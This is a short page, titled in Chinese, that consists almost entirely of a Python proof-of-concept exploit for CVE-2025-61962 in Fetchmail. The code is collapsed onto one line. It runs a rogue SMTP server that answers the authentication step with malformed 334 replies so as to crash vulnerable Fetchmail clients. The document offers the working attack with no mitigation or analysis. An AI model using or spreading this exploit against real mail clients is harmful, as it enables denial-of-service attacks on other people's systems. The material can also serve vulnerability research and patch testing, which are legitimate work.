CVE-2025-61962 Fetchmail SMTP客户端认证崩溃漏洞

#!/usr/bin/env python3 """ CVE-2025-61962 - Fetchmail SMTP Client DoS PoC This PoC sets up a malicious SMTP server that sends a malformed 334 response during the authentication process to crash vulnerable Fetchmail (< 6.5.6) clients. """ import socket import threading import sys def handle_client(conn, addr): """Handle a single SMTP client connection with malicious behavior.""" try: # Send initial SMTP banner conn.sendall(b"220 malicious-smtp.local ESMTP Ready\r\n") # Handle EHLO/HELO data = conn.recv(1024) print(f"[<-] {data.strip().decode(errors='replace')}") conn.sendall(b"250-malicious-smtp.local Hello\r\n") conn.sendall(b"250 AUTH LOGIN PLAIN\r\n") # Handle AUTH command - trigger the vulnerability here data = conn.recv(1024) print(f"[<-] {data.strip().decode(errors='replace')}") # Instead of sending expected 334 challenge at the right time, # send 334 in a malformed/unexpected context to trigger the crash # in vulnerable Fetchmail versions conn.sendall(b"334\r\n") # Wait briefly for client to process and crash try: data = conn.recv(1024) print(f"[<-] {data.strip().decode(errors='replace')}") except: pass # Send additional malformed 334 to ensure crash conn.sendall(b"334 \r\n") except Exception as e: print(f"[ERROR] {e}") finally: conn.close() def main(): host = "0.0.0.0" port = 2525 # Non-standard SMTP port to avoid conflicts server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((host, port)) server.listen(5) print(f"[*] Malicious SMTP server listening on {host}:{port}") print(f"[*] Configure Fetchmail to connect to this server to trigger CVE-2025-61962") while True: conn, addr = server.accept() print(f"[+] Connection from {addr}") t = threading.Thread(target=handle_client, args=(conn, addr)) t.daemon = True t.start() if __name__ == "__main__": main()